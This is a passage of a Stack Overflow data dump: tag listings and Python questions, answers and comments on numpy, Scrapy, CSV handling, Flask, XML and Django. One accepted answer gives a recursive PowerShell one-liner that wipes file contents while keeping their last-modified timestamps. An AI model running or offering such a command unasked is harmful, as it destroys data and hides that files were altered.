has comment: http://stackoverflow.com/comment/81576597
has comment: http://stackoverflow.com/comment/81576927
score: 4
answers question: http://stackoverflow.com/q/47312695
upvote count: 4

regex
tags question: http://stackoverflow.com/q/47244442
tags question: http://stackoverflow.com/q/47253256
tags question: http://stackoverflow.com/q/47293216
tags question: http://stackoverflow.com/q/47283657
tags question: http://stackoverflow.com/q/47274888
tags question: http://stackoverflow.com/q/47297712
tags question: http://stackoverflow.com/q/47241229
tags question: http://stackoverflow.com/q/47370089
tags question: http://stackoverflow.com/q/47359080
tags question: http://stackoverflow.com/q/47379381
tags question: http://stackoverflow.com/q/47284299
tags question: http://stackoverflow.com/q/47297806
tags question: http://stackoverflow.com/q/47266536
tags question: http://stackoverflow.com/q/47229501
tags question: http://stackoverflow.com/q/47382649
tags question: http://stackoverflow.com/q/47227654
tags question: http://stackoverflow.com/q/47229866
tags question: http://stackoverflow.com/q/47310342
tags question: http://stackoverflow.com/q/47311681
tags question: http://stackoverflow.com/q/47241843
tags question: http://stackoverflow.com/q/47273006
tags question: http://stackoverflow.com/q/47322603
tags question: http://stackoverflow.com/q/47232594
tags question: http://stackoverflow.com/q/47285960
tag name: regex
tags question: http://stackoverflow.com/q/47293181
tags question: http://stackoverflow.com/q/47248991
tags question: http://stackoverflow.com/q/47357050
tags question: http://stackoverflow.com/q/47316157
tags question: http://stackoverflow.com/q/47342130
tags question: http://stackoverflow.com/q/47284185
tags question: http://stackoverflow.com/q/47324383
tags question: http://stackoverflow.com/q/47320033
tags question: http://stackoverflow.com/q/47295914
tags question: http://stackoverflow.com/q/47319834
tags question: http://stackoverflow.com/q/47312665
tags question: http://stackoverflow.com/q/47255390
tags question: http://stackoverflow.com/q/47273688
tags question: http://stackoverflow.com/q/47295108
tags question: http://stackoverflow.com/q/47338545
tags question: http://stackoverflow.com/q/47351717
tags question: http://stackoverflow.com/q/47245039
tags question: http://stackoverflow.com/q/47244843
tags question: http://stackoverflow.com/q/47237907
tags question: http://stackoverflow.com/q/47341411
tags question: http://stackoverflow.com/q/47326558
tags question: http://stackoverflow.com/q/47380779
tags question: http://stackoverflow.com/q/47299179
tags question: http://stackoverflow.com/q/47373780
tags question: http://stackoverflow.com/q/47373239
tags question: http://stackoverflow.com/q/47238867
tags question: http://stackoverflow.com/q/47277260
tags question: http://stackoverflow.com/q/47235296
tags question: http://stackoverflow.com/q/47268595
tags question: http://stackoverflow.com/q/47298552
tags question: http://stackoverflow.com/q/47285060
tags question: http://stackoverflow.com/q/47330245
tags question: http://stackoverflow.com/q/47367120
tags question: http://stackoverflow.com/q/47227236
tags question: http://stackoverflow.com/q/47321366
tags question: http://stackoverflow.com/q/47367681
tags question: http://stackoverflow.com/q/47333866
tags question: http://stackoverflow.com/q/47281621
tags question: http://stackoverflow.com/q/47300418
tags question: http://stackoverflow.com/q/47335594
tags question: http://stackoverflow.com/q/47294651
tags question: http://stackoverflow.com/q/47252530
tags question: http://stackoverflow.com/q/47318128
tags question: http://stackoverflow.com/q/47285092
tags question: http://stackoverflow.com/q/47357950
tags question: http://stackoverflow.com/q/47245782
tags question: http://stackoverflow.com/q/47296839
tags question: http://stackoverflow.com/q/47249530
tags question: http://stackoverflow.com/q/47322372
tags question: http://stackoverflow.com/q/47280122
tags question: http://stackoverflow.com/q/47316193
tags question: http://stackoverflow.com/q/47297190
tags question: http://stackoverflow.com/q/47269251
tags question: http://stackoverflow.com/q/47319245
type: Tag

http://stackoverflow.com/comment/81579150
comment on: http://stackoverflow.com/q/47314129
score: 0
type: Comment
type: QuestionComment
has text: Not only does your code not change `current_gold` as you wrote it and Antti had mentioned, but im trying to understand why you need to convert it back and forth from string to ints. It doesnt make sense that you do that

http://stackoverflow.com/q/47316515
has body: I have a huge 4 dimensional array, but for this example I will use a 3-dimenisonal array, x. The array is of type float. I'm trying to use boolean masking to locate specific numbers and then change those numbers to another number. However, it seems I'm unable to locate some float numbers despite them being a element in my array 'x' x is a 32,32,3 array Here is how a portion of my x array looks like : &gt;&gt;&gt; x array([[[ -71.71074, -74.05614, -69.5538 ], [ -87.14036, -89.44238, -86.85358], [ -81.05044, -88.24616, -89.58144], ..., [ 26.94098, -4.307 , -24.44078], [ 21.60692, -10.70848, -30.00036], [ 17.826 , -11.4736 , -28.89246]], [[-114.0993 , -115.29484, -111.36412], [-129.3446 , -134.45914, -130.4656 ], [-112.2169 , -127.1767 , -131.10234], ..., [ -7.04254, -47.13862, -75.90018], [ -10.33038, -51.55898, -80.49918], [ -7.1568 , -47.38368, -73.45104]], [[-104.72472, -110.64818, -109.2514 ], [-112.71662, -126.49748, -129.01922], [ -80.47348, -107.05546, -121.47586], ..., [ -11.21066, -49.95824, -79.29398], [ -8.59094, -49.54152, -79.06528], [ -19.59134, -60.55772, -87.22356]], ..., [[ 81.44628, 44.0467 , -18.1421 ], [ 76.41156, 29.2665 , -77.77894], [ 74.07492, 38.1989 , -84.73544], ..., [ 35.75964, 9.99658, -40.87088], [ -68.68902, -92.7463 , -104.75116], [ -72.51674, -90.86008, -93.10554]], [[ 52.9319 , 12.62384, -18.64896], [ 47.53098, -1.58318, -70.6934 ], [ 60.71512, 19.8131 , -82.16812], ..., [ 58.50748, 23.66242, -18.25642], [ -28.58606, -62.64844, -78.71842], [ -42.9967 , -72.2858 , -79.60626]], [[ 49.26526, 17.05222, 0.55436], [ 41.40204, 3.34674, -19.9712 ], [ 52.13484, 16.24322, -26.9406 ], ..., [ 89.22164, 58.30292, 26.16942], [ 24.43504, -7.61742, -29.90624], [ -3.63908, -33.8503 , -42.38186]]]) So I picked numbers within this array and see if I could locate them using boolean masking. However, only some numbers were located: This located the element: &gt;&gt;&gt; x[x==60.71512] array([ 60.71512]) However, this didn't locate the element &gt;&gt;&gt;…
has title: Numpy boolean masking -- multidimension and floats
tagged with: python
has answer: http://stackoverflow.com/a/47316627
has comment: http://stackoverflow.com/comment/81586619
type: AnsweredQuestion
score: 3
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81584040
answer count: 1
has comment: http://stackoverflow.com/comment/81588412
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/81588414
accepted answer: http://stackoverflow.com/a/47316627
has comment: http://stackoverflow.com/comment/81583922

http://stackoverflow.com/q/47323898
score: 0
has title: Trying to get Scrapy to work with Pycharm in Windows
tagged with: pycharm
upvote count: 1
answer count: 1
downvote count: 1
has body: I am migrating to Windows, and am desiring to get Scrapy to work with Pycharm. What I have tried adding: from scrapy.cmdline import execute As well as changing - /Library/Python/2.7/site-packages/scrapy/cmdline.py. It did not like this. My output looks like this- https://i.sstatic.net/jpjnn.jpg I have also tried: from scrapy import cmdline cmdline.execute("scrapy crawl spider".split()) As well as setting the "script" parameter to /path_to_project_env/env/bin/scrapy I get: " *] beginning main thread Scrapy 1.4.0 - no active project Unknown command: crawl Use "scrapy" to see available commands Process finished with exit code 2 " Though nothing is executed, no website is scraped. I can run scrapy fine in CMD and in Linux. It does not want to recognise Scrapy with Windows.
tagged with: scrapy
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47325492
type: UnansweredQuestion
tagged with: python
tagged with: python-2.7

http://stackoverflow.com/q/47337213
has comment: http://stackoverflow.com/comment/81626364
type: AnsweredQuestion
score: 0
upvote count: 1
answer count: 1
downvote count: 1
has title: Copy files in folders with different names
has answer: http://stackoverflow.com/a/47337987
tagged with: python
has comment: http://stackoverflow.com/comment/81632847
favorite count: 0
type: Question
has body: I need to copy files from the folder called shape, but this folder is inside another folder that has different names. For example I have 1000 folders all with different names, but within each of them I have a folder called shape, and I want to make a script in python that automatically copies all the files of that shape folder that is inside that folder that changes name and paste it into another directory that will always be the same. txs in advance.
accepted answer: http://stackoverflow.com/a/47337987
has comment: http://stackoverflow.com/comment/81626298

http://stackoverflow.com/comment/81670933
type: Comment
score: 0
type: AnswerComment
has text: Can you accept @thb ? Let me know if you have any other questions!
comment on: http://stackoverflow.com/a/47358921

http://stackoverflow.com/comment/81400082
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47225050
type: Comment
has text: @chepner: I don't understand. `str.__repr__()` -> `"'abc\\\\def\\\\fgh'"`, `print(str)` -> `abc\def\fgh`

http://stackoverflow.com/comment/81683817
has text: The behaviour is the same as on the terminal it's just you didn't get to see it because of the error.
type: Comment
comment on: http://stackoverflow.com/q/47331575
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81468964
has text: This might be a good start: [How to make good reproducible pandas examples](https://stackoverflow.com/questions/20109391/how-to-make-good-reproducible-pandas-examples).
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47251225

http://stackoverflow.com/q/47245284
has answer: http://stackoverflow.com/a/47245350
has answer: http://stackoverflow.com/a/47245353
accepted answer: http://stackoverflow.com/a/47245350
possible better answer: http://stackoverflow.com/a/47245353
has comment: http://stackoverflow.com/comment/81441094
tagged with: python
has comment: http://stackoverflow.com/comment/81440957
type: Question
has comment: http://stackoverflow.com/comment/81808972
has comment: http://stackoverflow.com/comment/81811314
answer count: 2
upvote count: 2
has body: x = [1,2,3],[2,3,4] x=array(x) is not working in python. It shows array is not defined.
score: -4
tagged with: arrays
has comment: http://stackoverflow.com/comment/81440953
has comment: http://stackoverflow.com/comment/81845203
has title: Python arrays is not working
favorite count: 0
downvote count: 6
type: AnsweredQuestion

http://stackoverflow.com/q/47299303
answer count: 1
has comment: http://stackoverflow.com/comment/81550285
has comment: http://stackoverflow.com/comment/81549991
score: 0
has body: I am currently writing a small Python 3.6 script that takes a CSV file and extracts a CVE and the hosts affected storing it in a list, as shown below. CVE-2009-1234 10.11.1.1:80 10.11.1.3:80 10.11.1.4:80 10.11.1.2:80 10.11.1.22:80 10.11.1.2:80 10.11.1.27:80 10.11.1.23:80 10.11.1.29:80 10.11.1.228:80 CVE-2015-1234 10.11.1.224:443 10.11.1.224:80 10.11.1.74:8080 CVE-2015-1235 10.11.1.22 CVE-2017-1234 10.11.1.22:443 10.11.1.22:80 10.11.1.73:8080 CVE-2009-1235 10.11.1.22:443 10.11.1.22:80 However I am having trouble writing this data to a CSV file so each CVE and it's affected hosts are in seperate columns for example: CVE-2009-1234 | CVE-2015-1234 | ... | -----------------+--------------------+-----+ 10.11.1.1:80 | 10.11.1.224:443 | | 10.11.1.3:80 | 10.11.1.224:80 | | 10.11.1.4:80 | 10.11.1.74:8080 | | 10.11.1.2:80 | | | 10.11.1.22:80 | | | 10.11.1.2:80 | | | 10.11.1.22:80 | | | 10.11.1.23:80 | | | 10.11.1.29:80 | | | 10.11.1.228:80 | | | I originally thought that if I initialised a list the same size as the number of CVE's - then did an index lookup on the CVE number I could place each host into its corresponding index in the new list - however this became difficult when I had to try to initialise a new row because the previous spot had been filled. I also looked into wether or not the CSV library has insert column functionality (which is obviously doesn't for good reason. My working code is as follows: import csv filename = 'report.csv' cve = set() data = [] with open(filename) as csvfile: reader = csv.reader(csvfile, delimiter=',') for row in reader: if ',' in row[11]: multi_cve = row[11].split(', ') for entry in multi_cve: cve.add(entry) else: cve.add(row[11]) csvfile.seek(0) for uniq_cve in cve: data.append(uniq_cve) for row in reader: if row[2] == '': full_address = row[0] else: full_address = row[0] + ':' + row[2] if ',' in row[11]: multi_cve = row[11].split(', ') for entry in multi_cve: if uniq_cve == entry: data.append(full_address) else: if uniq_cve == row[11]…
has comment: http://stackoverflow.com/comment/81550437
has comment: http://stackoverflow.com/comment/81550452
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81557505
tagged with: python
has title: Write a list that contains headings and data to a CSV
has answer: http://stackoverflow.com/a/47343478
type: Question
has comment: http://stackoverflow.com/comment/81550101
tagged with: python-3.x
type: UnansweredQuestion

http://stackoverflow.com/comment/81653551
type: AnswerComment
comment on: http://stackoverflow.com/a/47338717
has text: **UPDATE** Ok the following attributes can easily be accessed via `print(df['attribute_here'])`: text, created_at, id and lang. It's only the **screen_name** and **country_code** that's empty.
type: Comment
score: 0

http://stackoverflow.com/comment/81695554
comment on: http://stackoverflow.com/a/47371388
type: Comment
has text: Device_dealloc is called when the python object is deleted, I can call the destructor from there?
score: 0
type: AnswerComment

http://stackoverflow.com/a/47323167
score: 0
type: Answer
has body: I would suggest completely not use Items class and use start_requests method instead of start_urls as they are really confusing. See the fully working code here. Also notice the match_heading variable. class CrawlbotSpider(Spider): name = 'bigcrawler' allowed_domains = ['www.matchstat.com'] start_urls = [ 'https://matchstat.com/tennis/tournaments/w/Taipei/2015', 'https://matchstat.com/tennis/tournaments/w/Hong%20Kong/2017', ] def start_requests(self): match_urls = [ 'https://matchstat.com/tennis/tournaments/w/Taipei/2015', 'https://matchstat.com/tennis/tournaments/w/Hong%20Kong/2017', ] for url in match_urls: yield Request(url=url, callback=self.parse_matches) def parse_matches(self , response): match_heading = response.xpath('//*[@id="AWS"]/div/h3/text()').extract_first() for row in response.css('tr.match'): match = {} match['heading'] = match_heading match['round'] = row.css(".round::text").extract_first() match['event1'] = row.css(".event-name a::text").extract_first() match['player_1'] = row.css(".player-name:nth-child(2) a::text").extract_first() match['player_2'] = row.css(".player-name:nth-child(3) a::text").extract_first() match['player_1_odds'] = row.css(".odds-td.odds-0 [payout]::text").extract_first() match['player_2_odds'] = row.css(".odds-td.odds-1 [payout]::text").extract_first() match['h_2_h'] = row.css("a.h2h::text::text").extract_first() yield match
answers question: http://stackoverflow.com/q/47320166

http://stackoverflow.com/q/47317408
has body: I have not run into this problem before and it has me scratching my head: On Mac OSX (High Sierra) in a virtualenv I see do ls -l venv/lib/python3.6/site-packages/flask and see the expected output. When I load ipython and run: from flask import Flask again, I get the expected behavior. typing which python gives /Users/my_user/projects/my_project/venv/bin/python, ok -- all looks good! Now, when I go to a python prompt and try: from flask import Flask I get: ModuleNotFoundError: No module named 'flask' Whaaaa? Yet ipython (installed in the same virtualenv) I have no problem. print(os.environ['PATH']) seems right: /Users/my_user/projects/my_project/venv/bin:/usr/local/sbin:/Library/Frameworks/Python.framework/Versions/3.6/bin:/usr/local/Cellar/ruby/2.4.2_1/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/andrew/projects/go/bin:/usr/local/opt/go/libexec/bin Any pointers would be helpful. TIA
has comment: http://stackoverflow.com/comment/81588558
has comment: http://stackoverflow.com/comment/82039424
tagged with: macos
has title: winky virtualenv: python cannot import flask, but ipython can
type: Question
has comment: http://stackoverflow.com/comment/81618722
has comment: http://stackoverflow.com/comment/82035111
answer count: 0
has comment: http://stackoverflow.com/comment/82033940
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/82034645
has comment: http://stackoverflow.com/comment/82043741
tagged with: python
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/81831426
has comment: http://stackoverflow.com/comment/81622876
has comment: http://stackoverflow.com/comment/81622496
score: 0

http://stackoverflow.com/comment/81433311
score: 0
has text: There is a difference between object instance and a class... Please read some more of that. s is an instance of class Scan. You initiated it by s = Scan(). You can use Scan class as a singleton object too, but without relying on __init__ method .
comment on: http://stackoverflow.com/q/47241346
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81716518
comment on: http://stackoverflow.com/q/47381909
score: 1
type: QuestionComment
has text: It depends on how specific it is for your class. I know you said it wont be called anywhere else at the moment, but that condition can change. Especially if you find yourself implementing the same function privately elsewhere. I'm guessing `adder` is an overly simplified example, which is obviously generally applicable, but if its more rooted to a single class, it may server better as a class method. At the end of the day, it wont be hard to switch from one to the other if you need to so don't agonize over it too much.
type: Comment

http://stackoverflow.com/q/47326321
tagged with: http://stackoverflow.com/tag/csv
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81603742
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81621583
tagged with: python
score: -1
duplicate of: http://stackoverflow.com/q/17245415
has comment: http://stackoverflow.com/comment/81603765
has title: Storing a list of unicode strings in a csv file python 2
upvote count: 0
tagged with: list
has body: I created a function(parse_html(param)) that returns a list like below, list = [u'John', u'Muchia', u'Prozessoptimierung Fahrwiderst\xe4nde'] if I return print list[2], and in my function, it gives me Prozessoptimierung Fahrwiderstände which is perfect, but it appears differently when in a list The problem lies when I return the whole list return list I want to avoid the 'u'. I want to store a list of strings and the Unicode characters like ä ö and ü should also appear. fname[x] is the source of the HTML file where x is the file number which is incremented from 0 to count(file_number) list=[] newlist=[] list = parse_html(fname[7]) for row in list: drow = row.encode('utf-8') newlist.append(drow) print newlist The goal is to save the returned list to a CSV file. Everytime a new file(fname) is selected, the list is created and should add the new list to the csv file previously created. I am doing something really wrong and I can realize that and my head hurts. Please help. update: for x in range(0,count): list = parse_html(fname[x]) with open('output.csv', 'wb') as myfile: wr = csv.writer(myfile, quoting=csv.QUOTE_ALL) wr.writerow(list) error: UnicodeEncodeError: 'ascii' codec can't encode character u'\xfc' in position 132: ordinal not in range(1 28) Answer: wr.writerow([c.encode('utf-8') for c in list]) # instead `wr.writerow(list)
has comment: http://stackoverflow.com/comment/81603995
downvote count: 1
has comment: http://stackoverflow.com/comment/81603317
has answer: http://stackoverflow.com/a/47326627
tagged with: unicode
has answer: http://stackoverflow.com/a/47326442

http://stackoverflow.com/comment/81698837
has text: I am confused about what you are asking. Do you want the `for` loop to wait for a button to be pressed before continuing?
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47373108

http://stackoverflow.com/q/47378977
score: -4
has comment: http://stackoverflow.com/comment/81710139
tagged with: python
has answer: http://stackoverflow.com/a/47379049
has body: I am writing a password strength checker in python and need to see if the password contains numbers, lowercase letters, and uppercase letters. Only 1 type is weak, 2 types are Medium and all three types is Strong. The password is input as password2 and I have created arrays with all letters (lower and upper separately) and 0-9 individually input as strings in three arrays. Any help is appreciated. Cheers, James
has answer: http://stackoverflow.com/a/47379058
upvote count: 0
answer count: 2
downvote count: 4
has title: How to check if a single letter string in an array is within a separate string
tagged with: arrays
tagged with: string
favorite count: 0
type: Question
tagged with: passwords
has comment: http://stackoverflow.com/comment/81710302
type: UnansweredQuestion

http://stackoverflow.com/a/47319574
has comment: http://stackoverflow.com/comment/81590419
has body: (At first sight) this looks like some wrapper for some already implemented specialized solver. Maybe changing internals is not as easy. But an easy workaround: just change the distance-callback so that it gives very high costs for your forbidden edges. This approach needs tuning and is not perfect. But it's a workaround. If this makes sense, depends on your task, which looks pretty informally described.
answers question: http://stackoverflow.com/q/47319532
score: 0
type: Answer

http://stackoverflow.com/q/47343495
has answer: http://stackoverflow.com/a/47343786
tagged with: python
type: UnansweredQuestion
upvote count: 2
has title: Python Flood Fill - How to optimize
score: 1
has comment: http://stackoverflow.com/comment/81639324
has comment: http://stackoverflow.com/comment/81638985
downvote count: 1
answer count: 1
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/5298884
has body: def getRegionSize(cell, world): region = [] frontier = [cell] val = world[cell[0]][cell[1]] while(len(frontier) &gt; 0): item = frontier.pop() region.append(item) x = item[0] y = item[1] for i in [-1,1]: for j in [-1,1]: if (x+i,y+j) not in frontier and (x+i,y+j) not in region: if not (x + i &gt; width - 1 or x + i &lt; 0 or y + j &gt; height - 1 or y + i &lt; 0) and world[x+i][y+j] == val: frontier.append((x+i,y+j)) return len(region) I want my function to determine the size of an area connected to a given cell. The function takes world (2D binary matrix) and cell ((x,y) coordinates in the world) as arguments, and returns the size of the area connected to cell. This function works like flood fill, but instead of recoloring an area, I am only interested in the size of the area being recolored. The function works fine, but it is slow. It takes a few seconds to return for areas of size greater than ~4000. Is there something I'm doing terribly wrong, or is it supposed to be slow for large areas? EDIT: Edited for clarity.

http://stackoverflow.com/comment/81641045
type: QuestionComment
comment on: http://stackoverflow.com/q/47344593
has text: @dcg I would say that should be an answer, since it's not suggesting an improvement to the question... but it doesn't really answer the question of why the OP's code doesn't work, either.
score: 0
type: Comment

http://stackoverflow.com/comment/81698736
has text: Hi, @Solomon, thanks for sharing the experience of your team. I have tried to use Dataflow to do that. I think I do not really know about how to use Dataflow on gcp. By the way, documents of gcp are always confuse me!! ha..ha..
type: Comment
comment on: http://stackoverflow.com/a/47358499
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81455880
comment on: http://stackoverflow.com/a/47252596
score: 0
type: AnswerComment
type: Comment
has text: @ValLeNain OP: "I do not need only english letters"

http://stackoverflow.com/a/47301623
type: Answer
answers question: http://stackoverflow.com/q/47299021
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81592158
downvote count: 0
has body: You should use check_password instead of make_password. From the django documentation check_password(password, encoded) If you’d like to manually authenticate a user by comparing a plain-text password to the hashed password in the database, use the convenience function check_password(). It takes two arguments: the plain-text password to check, and the full value of a user’s password field in the database to check against, and returns True if they match, False otherwise.

http://stackoverflow.com/comment/82297564
type: Comment
type: AnswerComment
score: 1
has text: OK, if you want multiple clients then you will need to maintain multiple param[] lists, one for each client, so data from each client can be saved separately. You can use a dictionary for this, with sock as the key.
comment on: http://stackoverflow.com/a/47316167

http://stackoverflow.com/q/47370846
has comment: http://stackoverflow.com/comment/81694365
downvote count: 1
has body: In Python, I am writing a program that allows the user to encrypt messages that they input. There are two methods of encryption that they can select, and I am trying to create a while loop that will trigger if the user chooses an option that is not equal to the two options, 1 and 2. option1 = input('Which encryption method would you like to use? 1 = Across (NOPQ ...) and 2 = Backwards (ZYXW ...)') while option1 != [1, 2]: print 'Please type 1 or 2.' option1 = input() If I write this, than I will be asked to input 1 or 2 no matter what I type.
has comment: http://stackoverflow.com/comment/81694308
favorite count: 0
linked to: http://stackoverflow.com/q/15112125
type: Question
has answer: http://stackoverflow.com/a/47370919
possible better answer: http://stackoverflow.com/a/47370919
has title: In Python, is it possible to make a while loop that will occur if an input is equal to different values?
has comment: http://stackoverflow.com/comment/81694337
tagged with: python
has answer: http://stackoverflow.com/a/47370889
score: -1
accepted answer: http://stackoverflow.com/a/47370889
has comment: http://stackoverflow.com/comment/81694298
type: AnsweredQuestion
upvote count: 0
answer count: 2
tagged with: while-loop
duplicate of: http://stackoverflow.com/q/15112125

http://stackoverflow.com/q/47304314
has title: Adding child element to XML in python
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47305468
upvote count: 1
tagged with: elementtree
favorite count: 0
type: Question
has body: I have an element in an XML file as: <operand idref="XXX" type="boolean" /> I need to add two other child elements (child1 and child2) such as: <child2 idref='False' type='int' /> <operand idref="XXX" type="boolean" /> I proceeded using lxml: from lxml import etree tree = etree.parse(xml_file) condition_elem = tree.find("<path for the condition block in the xml>") etree.SubElement(condition_elem, 'child1') tree.write( 'newXML.xml', encoding='utf-8', xml_declaration=True) This just adds the element child1 as a child of the element condition as below and did not satisfy my requirement: <operand idref="XXX" type="boolean" /> Any ideas? Thanks
tagged with: lxml
tagged with: python
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
tagged with: xml.etree
accepted answer: http://stackoverflow.com/a/47305468
score: 1

http://stackoverflow.com/comment/81666907
has text: Are your names always as simple as shown here, with a single space between first name and last name and no other whitespace?
score: 0
comment on: http://stackoverflow.com/q/47357085
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81542152
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47291094
score: 0
has text: If you need to use index, linked list is a bad structure for you.

http://stackoverflow.com/comment/81458899
has text: Are there any files called `proxy.load` and `proxy_http.load` inside `/etc/apache2/mods-enabled/`?
type: Comment
comment on: http://stackoverflow.com/q/47251589
score: 1
type: QuestionComment

http://stackoverflow.com/q/47304999
has answer: http://stackoverflow.com/a/56947488
has comment: http://stackoverflow.com/comment/81560655
answer count: 3
has title: AttributeError: module 'tensorflow' has no attribute 'python'
downvote count: 0
has answer: http://stackoverflow.com/a/73628663
favorite count: 0
type: Question
tagged with: attributeerror
has answer: http://stackoverflow.com/a/47306203
upvote count: 20
score: 20
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81564517
has body: &gt;import tensorflow &gt;import tensorflow.contrib &gt;tensorflow.contrib module 'tensorflow.contrib' from 'D:\\ProgramData\\Anaconda3\\lib\\site-packages\\tensorflow\\contrib\\__init__.py' &gt;import tensorflow.python &gt;tensorflow.python Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; AttributeError: module 'tensorflow' has no attribute 'python' As you can see, I run this code in a cmd(win 10). Both "import tensorflow.contrib" and "import tensorflow.python" are OK, but commands "tensorflow.contrib" and "tensorflow.python" are different. One returns a directory and the other returns AttributeError. Does anyone have a clue why?
tagged with: python

http://stackoverflow.com/comment/81569764
type: QuestionComment
score: 0
has text: Also, note, that there is a space after thousands, but you select only digits in regexp: `(r'(\d+)')`. Should be something like `(r'([\d\s]+)')`.
comment on: http://stackoverflow.com/q/47309666
type: Comment

http://stackoverflow.com/a/48943242
type: Answer
has body: Looks like the notebook is running with python2. See the metadata section of the notebook file (open in a text editor) "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } } FIX 1. Ensure the python3.5 kernel for ipython/jupyter is installed: python3.5 -m ipykernel install --name python3.5.1 2. Run jupyter notebook and change kernel version in the notebook: or hackily edit the &lt;notebook.ipynb&gt; directly (not recommended): "metadata": { "kernelspec": { "display_name": "Python 3.5.1", "language": "python", "name": "python3.5.1" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }
score: 0
answers question: http://stackoverflow.com/q/47317141

http://stackoverflow.com/comment/81626517
score: 0
comment on: http://stackoverflow.com/q/47336754
type: QuestionComment
type: Comment
has text: Link: https://stackoverflow.com/questions/29314424/pandas-using-groupby-to-get-mean-for-each-data-category

http://stackoverflow.com/comment/81615520
comment on: http://stackoverflow.com/q/47332320
score: 0
has text: The shell processes the command and passes the arguments to the program. The program in general does not have access to the exact command the user typed.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81570279
comment on: http://stackoverflow.com/q/47273372
score: 0
has text: @barny, Instead of creating multi-digit dataset, will training on SVHN dataset and testing on above multi-digit give good result?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47280748
has comment: http://stackoverflow.com/comment/81512003
score: 2
accepted answer of: http://stackoverflow.com/q/47279878
downvote count: 0
answers question: http://stackoverflow.com/q/47279878
has comment: http://stackoverflow.com/comment/81512523
has body: Running following as administrator should reset all content to an empty file and retain the lastwritetime's of the files gci c:\temp\test\*.* -recurse | % { $LastWriteTime = $PSItem.LastWriteTime clear-content $PSItem; $PSItem.LastWriteTime = $LastWriteTime }
upvote count: 2
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/47348590
accepted answer of: http://stackoverflow.com/q/47346048
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47346048
has comment: http://stackoverflow.com/comment/81853801
type: Answer
has body: I've always been quite annoyed about the lack of support for this type of thing in Django. Unless you're doing aggregation then it's not terribly well supported. The most pythonic / Djangorrific way I can find to do it is in the template, using groupby there. (This seems to me to go against the concept of not putting business logic in templates, but there you are.) In your case, you'd do something like this in the views.py file: from datetime import date, timedelta today = date.today() four_months_time = today + timedelta(months=4) events = Event.objects.filter(start_date__gte=today, start_date__lte= four_months_time).order_by("start_date")` and in the templates (assuming you pass back events as the variable): {% regroup events by start_date.month as events_list %} &lt;ul&gt; {% for event in events_list %} &lt;li&gt;{{ event.grouper }} &lt;ul&gt; {% for event in event.list %} &lt;li&gt;{{event}}&lt;/li&gt; {% endfor %} &lt;/ul&gt; &lt;/li&gt; {% endfor %} &lt;/ul&gt; This is untested, but should send you on the right direction!
score: 1

http://stackoverflow.com/q/47287518
score: 0
answer count: 2
type: UnansweredQuestion
type: Question
has title: JSON move child keys up one level
linked to: http://stackoverflow.com/q/5629023
has answer: http://stackoverflow.com/a/47288150
linked to: http://stackoverflow.com/q/5844672
tagged with: http://stackoverflow.com/tag/json
has body: I have a Python script that parses a JSON file like below: [ { "_index": "bulletins", "_type": "bulletin", "_id": "OPENWRT-SA-000001", "_score": null, "_source": { "lastseen": "2016-09-26T15:45:23", "references": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3193", ], "affectedPackage": [ { "OS": "OpenWrt", "OSVersion": "15.05", "packageVersion": "9.9.8-P3-1", "packageFilename": "UNKNOWN", "arch": "all", "packageName": "bind", "operator": "lt" } ], "edition": 1, "description": "value in here, "reporter": "OpenWrt Project", "published": "2016-01-24T13:33:41", "title": "bind: Security update (4 CVEs)", "type": "openwrt", "bulletinFamily": "unix", "cvelist": [ "CVE-2015-8704", ], "modified": "2016-01-24T13:33:41", "id": "OPENWRT-SA-000001", "href": "https://lists.openwrt.org/pipermail/openwrt-security-announce/2016-January/000001.html", "cvss": { "score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/" } }, "sort": [ 34872 ] }, I have removed some of the values to keep the post shorter but leaving some in to try to keep the structure. I want to take all sub keys from the _source key and move them up to the same level as _source and then delete the _source key. My code to parse the JSON is: import json import logging import logging.handlers import os import pymongo from pymongo import MongoClient def import_json(mongo_server,mongo_port, vuln_folder): try: logging.info('Connecting to MongoDB') client = MongoClient(mongo_server, mongo_port) db = client['vuln_sets'] coll = db['vulnerabilities'] logging.info('Connected to MongoDB') basepath = os.path.dirname(__file__) filepath = os.path.abspath(os.path.join(basepath, "..")) archive_filepath = filepath + vuln_folder filedir = os.chdir(archive_filepath) file_count = 0 for item in os.listdir(filedir): if item.endswith('.json'): file_name = os.path.abspath(item) with open(item, 'r') as currentfile: 